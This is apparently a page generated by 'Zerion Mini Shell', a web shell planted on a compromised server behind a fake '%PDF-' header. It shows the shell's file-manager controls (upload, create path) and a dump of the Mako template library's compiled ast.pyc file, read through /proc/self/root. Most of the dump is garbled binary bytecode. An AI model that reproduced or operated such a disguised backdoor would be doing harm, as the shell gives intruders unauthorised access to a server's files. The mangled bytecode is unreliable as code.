%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/mako/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib/python2.7/site-packages/mako/ast.pyc

�
�ǚPc@s�dZddlmZmZmZddlZdefd��YZdefd��YZdefd	��YZ	d
efd��YZ
de
fd
��YZdS(sjutilities for analyzing expressions and blocks of Python
code, as well as generating Python from AST nodesi����(t
exceptionstpyparsertutilNt
PythonCodecBseZdZd�ZRS(s<represents information about a string containing Python codecKsw||_t�|_t�|_t|t�rNtj|j�d|�}n|}tj	||�}|j
|�dS(Ntexec(tcodetsettdeclared_identifierstundeclared_identifierst
isinstancet
basestringRtparsetlstriptFindIdentifierstvisit(tselfRtexception_kwargstexprtf((s9/opt/alt/python27/lib/python2.7/site-packages/mako/ast.pyt__init__s	(t__name__t
__module__t__doc__R(((s9/opt/alt/python27/lib/python2.7/site-packages/mako/ast.pyR
stArgumentListcBseZdZd�ZRS(sBparses a fragment of code as a comma-separated list of expressionscKs�g|_g|_t�|_t�|_t|t�r�tjd|�rktjd|�rk|d7}nt	j
|d|�}n|}t	j|t|�}|j
|�dS(Ns\Ss,\s*$t,R(tcodeargstargsRRRR	R
tretmatchRRt	FindTupleRR(RRRRR((s9/opt/alt/python27/lib/python2.7/site-packages/mako/ast.pyR.s		%
(RRRR(((s9/opt/alt/python27/lib/python2.7/site-packages/mako/ast.pyR,stPythonFragmentcBseZdZd�ZRS(s�extends PythonCode to provide identifier lookups in partial control
    statements

    e.g.
        for x in 5:
        elif y==9:
        except (MyException, e):
    etc.
    cKs>tjd|j�tj�}|s=tjd||��n|jd�rb||jd� }n|jdd�\}}|dkr�|d	}n�|d
kr�|d}nu|dks�|d
kr�d|d	}nL|dkr�d|d	}n/|dkr|d	}ntjd||��tt	|�j
||�dS(Ns^(\w+)(?:\s+(.*?))?:\s*(#|$)s0Fragment '%s' is not a partial control statementiiitfortiftwhiletpassttryspass
except:passteliftelsesif False:pass
texcepts	try:pass
twiths!Unsupported control keyword: '%s'(RR R!(RRtstriptSRtCompileExceptiontgrouptstarttsuperRR(RRRtmtkeywordR((s9/opt/alt/python27/lib/python2.7/site-packages/mako/ast.pyRIs,



(RRRR(((s9/opt/alt/python27/lib/python2.7/site-packages/mako/ast.pyR?s	tFunctionDeclcBs&eZdZed�Zed�ZRS(sfunction declarationcKs�||_tj|d|�}tj||�}|j|�t|d�setjd||��n|r�|jr�tjd|j	d|��ndS(NRtfuncnames'Code '%s' is not a function declarations('**%s' keyword argument not allowed herei����(
RRRt	ParseFuncRthasattrRR*tkwargstargnames(RRtallow_kwargsRRR((s9/opt/alt/python27/lib/python2.7/site-packages/mako/ast.pyRes	
c
Cs
g}g|jD]}|^q}|j}|j}g|jD]}|^q>}|j�x�|D]�}	d}
|r�d|	}	t}n7|r�d|	}	t}nt|�r�|j�p�d}
|r�|
r�|j	dd|	t
j|
�j�f�qa|j	d|	�qaW|S(sRreturn the argument declarations of this FunctionDecl as a printable
        list.s**t*is%s=%sN(
tdefaultsR4tvarargsR5treversetNonetFalsetlentpoptinsertRtExpressionGeneratortvalue(Rtinclude_defaultst	namedeclstdR8R4R9RR5targtdefault((s9/opt/alt/python27/lib/python2.7/site-packages/mako/ast.pytget_argument_expressionsts*		


	
	(RRRtTrueRRG(((s9/opt/alt/python27/lib/python2.7/site-packages/mako/ast.pyR0cstFunctionArgscBseZdZd�ZRS(s.the argument portion of a function declarationcKs!tt|�jd||�dS(Nsdef ANON(%s):pass(R-RIR(RRR4((s9/opt/alt/python27/lib/python2.7/site-packages/mako/ast.pyR�s(RRRR(((s9/opt/alt/python27/lib/python2.7/site-packages/mako/ast.pyRI�s(RtmakoRRRRtobjectRRRR0RI(((s9/opt/alt/python27/lib/python2.7/site-packages/mako/ast.pyt<module>s$/

Zerion Mini Shell 1.0